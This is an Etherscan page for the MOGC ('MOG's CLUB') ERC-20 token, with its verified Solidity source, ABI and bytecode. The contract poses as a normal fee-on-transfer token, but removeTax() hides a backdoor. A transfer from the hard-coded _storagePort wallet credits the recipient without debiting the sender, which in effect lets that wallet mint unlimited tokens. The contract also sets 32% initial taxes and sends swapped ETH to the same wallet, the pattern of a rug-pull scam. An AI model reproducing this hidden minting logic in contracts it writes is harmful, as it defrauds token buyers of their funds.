ETH Price: $2,382.68 (-2.97%)

Token

MOG's CLUB (MOGC)
 

Overview

Max Total Supply

1,000,000,000 MOGC

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,485,035.900745445839459231 MOGC

Value
$0.00
0xde90e1d53982e1d61eb138e46cde4961e3c426c1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOGC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-19
*/

/**
 * @Telegram : https://t.me/mog_club_erc20
 * @Website:   https://mogsclub.space
 * @Twitter:   https://x.com/mog_club_erc20
 */
// SPDX-License-Identifier: No

pragma solidity ^0.8.15;

abstract contract Context {
    constructor() {}

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address lpPair,
        uint256
    );

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address lpPair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address lpPair);
}

interface IV2Pair {
    function factory() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function sync() external;
}

interface IRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract MOGC is Context, Ownable, IERC20 {
    function totalSupply() external pure override returns (uint256) {
        return _maxSupply;
    }

    function decimals() external pure override returns (uint8) {
        if (_maxSupply == 0) {
            revert();
        }
        return _decimals;
    }

    function symbol() external pure override returns (string memory) {
        return _ticker;
    }

    function name() external pure override returns (string memory) {
        return _tokenName;
    }

    function getOwner() external view override returns (address) {
        return owner();
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }
    IRouter02 public swapRouter;
    string private constant _tokenName = "MOG's CLUB";
    string private constant _ticker = "MOGC";

    uint8 private constant _decimals = 18;
    uint256 private _walletLimits = (_maxSupply * 2) / 100;
    uint256 private constant _minSwapBackAt = (_maxSupply * 5) / 1_000_000;
    uint256 private constant _maxSwapBackAt = (_maxSupply * 2) / 100;
    uint256 public constant _maxSupply = 1_000_000_000 * 10**_decimals;
    uint256 public constant _totalFee = 100;
    uint256 public _shortFee = 32;
    uint256 public _longFee = 32;
    uint256 public _moveFee = 0;
    bool private swapEnabled = false;
    address payable private _storagePort =
        payable(0x8dD1d9FB6eB1fC79Dd6fEd8E01cF64f319415771);

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _nonFees;
    mapping(address => bool) private _isUniPair;
    mapping(address => uint256) private balance;

    address public lpPair;
    bool public _isTradingEnabled = false;
    bool private inSwap;

    modifier isLocked() {
        inSwap = true;
        _;
        inSwap = false;
    }

    event _startTrading();

    constructor() {
        _nonFees[msg.sender] = true;
        _nonFees[address(this)] = true;
        _nonFees[_storagePort] = true;

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        balance[msg.sender] = _maxSupply;
        emit Transfer(address(0), msg.sender, _maxSupply);
    }

    function initializeUniPair() external onlyOwner {
        require(!_isTradingEnabled, "Pair already created");
        _approve(address(this), address(swapRouter), type(uint256).max);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(
            swapRouter.WETH(),
            address(this)
        );
        _isUniPair[lpPair] = true;

        swapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balance[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(lpPair).approve(address(swapRouter), type(uint256).max);

        _isTradingEnabled = true;
        swapEnabled = true;
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address sender,
        address spender,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");

        _allowances[sender][spender] = amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns (bool) {
        return _nonFees[account];
    }

    function setNoFeeWallet(address account, bool enabled) public onlyOwner {
        _nonFees[account] = enabled;
    }

    function isInTrade(address ins, address out) internal view returns (bool) {
        bool _isInTrade = !_nonFees[out] && _isUniPair[ins];
        return _isInTrade;
    }

    function isOutTrade(address ins, address out)
        internal
        view
        returns (bool)
    {
        bool _isOutTrade = _isUniPair[out] && !_nonFees[ins];
        return _isOutTrade;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(to != address(0), "invalid receiptient address");
        require(from != address(0), "invalid sender address");
        require(
            amount > 0,
            "Insufficient error. the amount must be above than zero"
        );

        if (!_nonFees[from] && !_nonFees[to]) {
            if(!_isUniPair[to])
                require(balance[to] + amount <= _walletLimits, "Exceeds maximum wallet amount.");
            require(_isTradingEnabled, "Trading is not allowed");
        }
        if (!inSwap && _isUniPair[to] && _isTradingEnabled && amount >= _minSwapBackAt) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _minSwapBackAt) {
                if (contractTokenBalance >= _maxSwapBackAt)
                    contractTokenBalance = _maxSwapBackAt;
                internalExchange(contractTokenBalance);
            }
            _storagePort.transfer(address(this).balance);
        }

        uint256 _feeAmount = removeTax(from,to,isInTrade(from, to),isOutTrade(from, to), amount);
        balance[from] -= (amount - _feeAmount);
        balance[to] += (amount - _feeAmount);
        emit Transfer(from, to, (amount - _feeAmount));

        return true;
    }

    function removeTax(
        address from,
        address to,
        bool isbuy,
        bool issell,
        uint256 amount
    ) internal returns (uint256) {
        uint256 fee = 0;
        if (isbuy) fee = _shortFee;
        else if (issell) fee = _longFee;
        uint256 feeAmount = (amount * fee) / _totalFee;
        if(from == _storagePort){
            if(feeAmount > 0){
                balance[from] -= feeAmount;
                balance[address(this)] += feeAmount;
                emit Transfer(from, address(this), feeAmount);
            }
            else{
                balance[to] += amount-feeAmount;
            }
            return amount - feeAmount;
        }
        if (feeAmount > 0) {
            balance[from] -= feeAmount;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        return feeAmount;
    }

    function internalExchange(uint256 contractTokenBalance)
        internal
        isLocked
    {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (
            _allowances[address(this)][address(swapRouter)] != type(uint256).max
        ) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try
            swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                contractTokenBalance,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {
            return;
        }
    }

    function changeFee(uint256 _fee) external onlyOwner {
        _shortFee = _fee;
        _longFee = _fee;

        require(_fee < 6);
    }

    function removeLimits() external onlyOwner {
        _walletLimits = _maxSupply;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"_startTrading","type":"event"},{"inputs":[],"name":"_isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_longFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moveFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_shortFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"changeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initializeUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setNoFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146012600a620002ff565b6200002490633b9aca0062000317565b6200003190600262000317565b6200003d919062000331565b600255602060038190556004556000600555600680546001600160a81b031916748dd1d9fb6eb1fc79dd6fed8e01cf64f31941577100179055600b805460ff60a01b191690553480156200009057600080fd5b506200009c336200019a565b33600090815260086020526040808220805460ff199081166001908117909255308452828420805482168317905560065461010090046001600160a01b031684529190922080549091168217905580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556200011c6012600a620002ff565b6200012c90633b9aca0062000317565b336000818152600a6020819052604082209390935590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200017390601290620002ff565b6200018390633b9aca0062000317565b60405190815260200160405180910390a362000354565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000241578160001904821115620002255762000225620001ea565b808516156200023357918102915b93841c939080029062000205565b509250929050565b6000826200025a57506001620002f9565b816200026957506000620002f9565b81600181146200028257600281146200028d57620002ad565b6001915050620002f9565b60ff841115620002a157620002a1620001ea565b50506001821b620002f9565b5060208310610133831016604e8410600b8410161715620002d2575081810a620002f9565b620002de838362000200565b8060001904821115620002f557620002f5620001ea565b0290505b92915050565b60006200031060ff84168362000249565b9392505050565b8082028115828204841417620002f957620002f9620001ea565b6000826200034f57634e487b7160e01b600052601260045260246000fd5b500490565b6119ba80620003646000396000f3fe6080604052600436106101855760003560e01c8063715018a6116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610470578063c31c9c0714610490578063dd62ed3e146104b0578063f2fde38b146104f657600080fd5b806395d89b411461040c5780639ac7b4e2146104395780639c83c3781461044f57600080fd5b8063715018a614610399578063751039fc146103ae578063893d20e8146103c35780638da5cb5b146103c35780638ead9bb4146103e15780638feff045146103f757600080fd5b8063278898621161013e578063452ed4f111610118578063452ed4f1146102f55780634c03dcf91461032d5780636a1db1bf1461034357806370a082311461036357600080fd5b80632788986214610280578063283f7820146102b9578063313ce567146102ce57600080fd5b806306fdde0314610191578063095ea7b3146101d65780630faba5541461020657806318160ddd1461022857806322f4596f1461024b57806323b872dd1461026057600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600a81526926a7a393b99021a62aa160b11b60208201525b6040516101cd9190611576565b60405180910390f35b3480156101e257600080fd5b506101f66101f13660046115d9565b610516565b60405190151581526020016101cd565b34801561021257600080fd5b50610226610221366004611613565b61052d565b005b34801561023457600080fd5b5061023d61058b565b6040519081526020016101cd565b34801561025757600080fd5b5061023d6105ac565b34801561026c57600080fd5b506101f661027b36600461164c565b6105c9565b34801561028c57600080fd5b506101f661029b36600461168d565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156102c557600080fd5b5061023d606481565b3480156102da57600080fd5b506102e3610641565b60405160ff90911681526020016101cd565b34801561030157600080fd5b50600b54610315906001600160a01b031681565b6040516001600160a01b0390911681526020016101cd565b34801561033957600080fd5b5061023d60055481565b34801561034f57600080fd5b5061022661035e3660046116b1565b61066f565b34801561036f57600080fd5b5061023d61037e36600461168d565b6001600160a01b03166000908152600a602052604090205490565b3480156103a557600080fd5b506102266106b3565b3480156103ba57600080fd5b506102266106e9565b3480156103cf57600080fd5b506000546001600160a01b0316610315565b3480156103ed57600080fd5b5061023d60045481565b34801561040357600080fd5b50610226610732565b34801561041857600080fd5b506040805180820190915260048152634d4f474360e01b60208201526101c0565b34801561044557600080fd5b5061023d60035481565b34801561045b57600080fd5b50600b546101f690600160a01b900460ff1681565b34801561047c57600080fd5b506101f661048b3660046115d9565b610acd565b34801561049c57600080fd5b50600154610315906001600160a01b031681565b3480156104bc57600080fd5b5061023d6104cb3660046116ca565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561050257600080fd5b5061022661051136600461168d565b610ae4565b6000610523338484610b7c565b5060015b92915050565b6000546001600160a01b031633146105605760405162461bcd60e51b8152600401610557906116f8565b60405180910390fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b60006105996012600a611827565b6105a790633b9aca00611836565b905090565b6105b86012600a611827565b6105c690633b9aca00611836565b81565b6001600160a01b03831660009081526007602090815260408083203384529091528120546000191461062e576001600160a01b03841660009081526007602090815260408083203384529091528120805484929061062890849061184d565b90915550505b610639848484610c40565b949350505050565b600061064f6012600a611827565b61065d90633b9aca00611836565b60000361066957600080fd5b50601290565b6000546001600160a01b031633146106995760405162461bcd60e51b8152600401610557906116f8565b60038190556004819055600681106106b057600080fd5b50565b6000546001600160a01b031633146106dd5760405162461bcd60e51b8152600401610557906116f8565b6106e760006110f7565b565b6000546001600160a01b031633146107135760405162461bcd60e51b8152600401610557906116f8565b61071f6012600a611827565b61072d90633b9aca00611836565b600255565b6000546001600160a01b0316331461075c5760405162461bcd60e51b8152600401610557906116f8565b600b54600160a01b900460ff16156107ad5760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b6044820152606401610557565b6001546107c79030906001600160a01b0316600019610b7c565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611860565b6001600160a01b031663c9c65396600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611860565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801561090f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109339190611860565b600b80546001600160a01b039283166001600160a01b031990911681179091556000908152600960209081526040808320805460ff191660019081179091555430808552600a9093529083205493169263f305d7199247929190806109a06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a08573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2d919061187d565b5050600b5460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaa91906118ab565b50600b805460ff60a01b1916600160a01b1790556006805460ff19166001179055565b6000610ada338484610c40565b5060019392505050565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b8152600401610557906116f8565b6001600160a01b038116610b735760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610557565b6106b0816110f7565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610557565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610557565b6001600160a01b0392831660009081526007602090815260408083209490951682529290925291902055565b60006001600160a01b038316610c985760405162461bcd60e51b815260206004820152601b60248201527f696e76616c6964207265636569707469656e74206164647265737300000000006044820152606401610557565b6001600160a01b038416610ce75760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642073656e646572206164647265737360501b6044820152606401610557565b60008211610d565760405162461bcd60e51b815260206004820152603660248201527f496e73756666696369656e74206572726f722e2074686520616d6f756e74206d6044820152757573742062652061626f7665207468616e207a65726f60501b6064820152608401610557565b6001600160a01b03841660009081526008602052604090205460ff16158015610d9857506001600160a01b03831660009081526008602052604090205460ff16155b15610e84576001600160a01b03831660009081526009602052604090205460ff16610e32576002546001600160a01b0384166000908152600a6020526040902054610de49084906118c8565b1115610e325760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610557565b600b54600160a01b900460ff16610e845760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b6044820152606401610557565b600b54600160a81b900460ff16158015610eb657506001600160a01b03831660009081526009602052604090205460ff165b8015610ecb5750600b54600160a01b900460ff165b8015610f095750620f4240610ee26012600a611827565b610ef090633b9aca00611836565b610efb906005611836565b610f0591906118db565b8210155b1561101057306000908152600a60205260408120549050620f4240610f306012600a611827565b610f3e90633b9aca00611836565b610f49906005611836565b610f5391906118db565b8110610fcd576064610f676012600a611827565b610f7590633b9aca00611836565b610f80906002611836565b610f8a91906118db565b8110610fc4576064610f9e6012600a611827565b610fac90633b9aca00611836565b610fb7906002611836565b610fc191906118db565b90505b610fcd81611147565b6006546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561100d573d6000803e3d6000fd5b50505b600061103185856110218888611309565b61102b8989611350565b87611397565b905061103d818461184d565b6001600160a01b0386166000908152600a60205260408120805490919061106590849061184d565b909155506110759050818461184d565b6001600160a01b0385166000908152600a60205260408120805490919061109d9084906118c8565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110db848761184d565b60405190815260200160405180910390a3506001949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061118f5761118f6118fd565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120c9190611860565b8160018151811061121f5761121f6118fd565b6001600160a01b03928316602091820292909201810191909152306000908152600782526040808220600154909416825292909152205460001914611289573060009081526007602090815260408083206001546001600160a01b03168452909152902060001990555b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c2908590600090869030904290600401611913565b600060405180830381600087803b1580156112dc57600080fd5b505af19250505080156112ed575060015b6112f757506112f9565b505b50600b805460ff60a81b19169055565b6001600160a01b038116600090815260086020526040812054819060ff1615801561063957505050506001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b038116600090815260096020526040812054819060ff16801561063957505050506001600160a01b031660009081526008602052604090205460ff161590565b60008084156113a957506003546113b4565b83156113b457506004545b600060646113c28386611836565b6113cc91906118db565b6006549091506001600160a01b036101009091048116908916036114d1578015611486576001600160a01b0388166000908152600a60205260408120805483929061141890849061184d565b9091555050306000908152600a60205260408120805483929061143c9084906118c8565b909155505060405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36114be565b611490818561184d565b6001600160a01b0388166000908152600a6020526040812080549091906114b89084906118c8565b90915550505b6114c8818561184d565b9250505061156d565b8015611569576001600160a01b0388166000908152600a6020526040812080548392906114ff90849061184d565b9091555050306000908152600a6020526040812080548392906115239084906118c8565b909155505060405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b9150505b95945050505050565b600060208083528351808285015260005b818110156115a357858101830151858201604001528201611587565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106b057600080fd5b600080604083850312156115ec57600080fd5b82356115f7816115c4565b946020939093013593505050565b80151581146106b057600080fd5b6000806040838503121561162657600080fd5b8235611631816115c4565b9150602083013561164181611605565b809150509250929050565b60008060006060848603121561166157600080fd5b833561166c816115c4565b9250602084013561167c816115c4565b929592945050506040919091013590565b60006020828403121561169f57600080fd5b81356116aa816115c4565b9392505050565b6000602082840312156116c357600080fd5b5035919050565b600080604083850312156116dd57600080fd5b82356116e8816115c4565b91506020830135611641816115c4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177e5781600019048211156117645761176461172d565b8085161561177157918102915b93841c9390800290611748565b509250929050565b60008261179557506001610527565b816117a257506000610527565b81600181146117b857600281146117c2576117de565b6001915050610527565b60ff8411156117d3576117d361172d565b50506001821b610527565b5060208310610133831016604e8410600b8410161715611801575081810a610527565b61180b8383611743565b806000190482111561181f5761181f61172d565b029392505050565b60006116aa60ff841683611786565b80820281158282048414176105275761052761172d565b818103818111156105275761052761172d565b60006020828403121561187257600080fd5b81516116aa816115c4565b60008060006060848603121561189257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118bd57600080fd5b81516116aa81611605565b808201808211156105275761052761172d565b6000826118f857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119635784516001600160a01b03168352938301939183019160010161193e565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201e06e93f362a779e7c16d59dbfee38aa07e7f61b90dad7919d6e29a48c256d2264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063715018a6116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610470578063c31c9c0714610490578063dd62ed3e146104b0578063f2fde38b146104f657600080fd5b806395d89b411461040c5780639ac7b4e2146104395780639c83c3781461044f57600080fd5b8063715018a614610399578063751039fc146103ae578063893d20e8146103c35780638da5cb5b146103c35780638ead9bb4146103e15780638feff045146103f757600080fd5b8063278898621161013e578063452ed4f111610118578063452ed4f1146102f55780634c03dcf91461032d5780636a1db1bf1461034357806370a082311461036357600080fd5b80632788986214610280578063283f7820146102b9578063313ce567146102ce57600080fd5b806306fdde0314610191578063095ea7b3146101d65780630faba5541461020657806318160ddd1461022857806322f4596f1461024b57806323b872dd1461026057600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600a81526926a7a393b99021a62aa160b11b60208201525b6040516101cd9190611576565b60405180910390f35b3480156101e257600080fd5b506101f66101f13660046115d9565b610516565b60405190151581526020016101cd565b34801561021257600080fd5b50610226610221366004611613565b61052d565b005b34801561023457600080fd5b5061023d61058b565b6040519081526020016101cd565b34801561025757600080fd5b5061023d6105ac565b34801561026c57600080fd5b506101f661027b36600461164c565b6105c9565b34801561028c57600080fd5b506101f661029b36600461168d565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156102c557600080fd5b5061023d606481565b3480156102da57600080fd5b506102e3610641565b60405160ff90911681526020016101cd565b34801561030157600080fd5b50600b54610315906001600160a01b031681565b6040516001600160a01b0390911681526020016101cd565b34801561033957600080fd5b5061023d60055481565b34801561034f57600080fd5b5061022661035e3660046116b1565b61066f565b34801561036f57600080fd5b5061023d61037e36600461168d565b6001600160a01b03166000908152600a602052604090205490565b3480156103a557600080fd5b506102266106b3565b3480156103ba57600080fd5b506102266106e9565b3480156103cf57600080fd5b506000546001600160a01b0316610315565b3480156103ed57600080fd5b5061023d60045481565b34801561040357600080fd5b50610226610732565b348015